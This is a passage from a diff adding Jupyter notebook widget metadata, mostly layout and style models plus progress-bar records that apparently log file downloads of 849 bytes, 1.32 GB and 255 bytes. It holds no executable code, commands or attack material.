+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "35c7c39562724525bc6c211187584f41": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "10dc3d59148a45c98c0888922053cd30": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8238e0fa7fad46b2ad653d5e970416aa",
+              "IPY_MODEL_b1a8d8d4fe2846fd8e374a70b20a8320",
+              "IPY_MODEL_95d2768742124d678b7754c54ee7acd2"
+            ],
+            "layout": "IPY_MODEL_6bc73766fcd14b5ba5cb7db4097bc5bd"
+          }
+        },
+        "8238e0fa7fad46b2ad653d5e970416aa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3c2c01de9b6a4b3e88208a50cf2c4789",
+            "placeholder": "",
+            "style": "IPY_MODEL_c5345c5a0b924c4c83c407254a331dfc",
+            "value": "Downloading: 100%"
+          }
+        },
+        "b1a8d8d4fe2846fd8e374a70b20a8320": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f7ecc57fd8f94f7e8e724f478cd25460",
+            "max": 849,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_863aadd6cf2d44f38e6dec546229e463",
+            "value": 849
+          }
+        },
+        "95d2768742124d678b7754c54ee7acd2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ab2265da58fd4ec087d2558da9caf218",
+            "placeholder": "",
+            "style": "IPY_MODEL_dd09bc2b4be249e6bfa3d25081cdb4ca",
+            "value": " 849/849 [00:00<00:00, 19.8kB/s]"
+          }
+        },
+        "6bc73766fcd14b5ba5cb7db4097bc5bd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3c2c01de9b6a4b3e88208a50cf2c4789": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c5345c5a0b924c4c83c407254a331dfc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f7ecc57fd8f94f7e8e724f478cd25460": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "863aadd6cf2d44f38e6dec546229e463": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ab2265da58fd4ec087d2558da9caf218": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dd09bc2b4be249e6bfa3d25081cdb4ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f7227b1a6b514a8b98ebfa5ea8223846": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4fc16ee2d6014dfeb8d94272f7563db7",
+              "IPY_MODEL_b2dba9ee275e4862931fdf6859c62346",
+              "IPY_MODEL_67f2b09fbc9842f685d33b395de968fa"
+            ],
+            "layout": "IPY_MODEL_adfa9ac6fced446eb933ff6de2b056b3"
+          }
+        },
+        "4fc16ee2d6014dfeb8d94272f7563db7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6268c61c743048baada2e5d2373b49a6",
+            "placeholder": "",
+            "style": "IPY_MODEL_03d68213295e4dc8a697e78d4de9b2ca",
+            "value": "Downloading: 100%"
+          }
+        },
+        "b2dba9ee275e4862931fdf6859c62346": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2c2b23a1ebf240578067e3aa1afefe72",
+            "max": 1417433007,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f5b32a225df141eab8eec62d304e12bf",
+            "value": 1417433007
+          }
+        },
+        "67f2b09fbc9842f685d33b395de968fa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bcdc87715af148eba9084540db350022",
+            "placeholder": "",
+            "style": "IPY_MODEL_c434495f90f54e46833eb5cb93ca5135",
+            "value": " 1.32G/1.32G [00:37<00:00, 44.1MB/s]"
+          }
+        },
+        "adfa9ac6fced446eb933ff6de2b056b3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6268c61c743048baada2e5d2373b49a6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03d68213295e4dc8a697e78d4de9b2ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2c2b23a1ebf240578067e3aa1afefe72": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f5b32a225df141eab8eec62d304e12bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "bcdc87715af148eba9084540db350022": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c434495f90f54e46833eb5cb93ca5135": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fc5039ea3e374089b682dd227e458c1a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2d502c94689e443a84af77b5c76e72ee",
+              "IPY_MODEL_dcb7b57331f14412b3d8067417bd676b",
+              "IPY_MODEL_9a9fb522095f4135b5d7871efd783232"
+            ],
+            "layout": "IPY_MODEL_136c0be282d54310bfbb2df86a263620"
+          }
+        },
+        "2d502c94689e443a84af77b5c76e72ee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1a47774c8a494d72b9a95d4e58c7940f",
+            "placeholder": "",
+            "style": "IPY_MODEL_a0db4c076ade457aacf4070cf2779dff",
+            "value": "Downloading: 100%"
+          }
+        },
+        "dcb7b57331f14412b3d8067417bd676b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ef513e242722470f9bdcd4535456ae7c",
+            "max": 255,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a6933cc4c4e049c3aa65b4a1fe707f11",
+            "value": 255
+          }
+        },
+        "9a9fb522095f4135b5d7871efd783232": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1bb3934ad28f4888b8d7d8226e29f84e",
+            "placeholder": "",
+            "style": "IPY_MODEL_474e40aa487f4399a63797bc082d1327",
+            "value": " 255/255 [00:00<00:00, 5.78kB/s]"
+          }
+        },
+        "136c0be282d54310bfbb2df86a263620": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1a47774c8a494d72b9a95d4e58c7940f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a0db4c076ade457aacf4070cf2779dff": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ef513e242722470f9bdcd4535456ae7c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a6933cc4c4e049c3aa65b4a1fe707f11": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "1bb3934ad28f4888b8d7d8226e29f84e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "474e40aa487f4399a63797bc082d1327": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "944566712b18476288a33c8782b44099": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
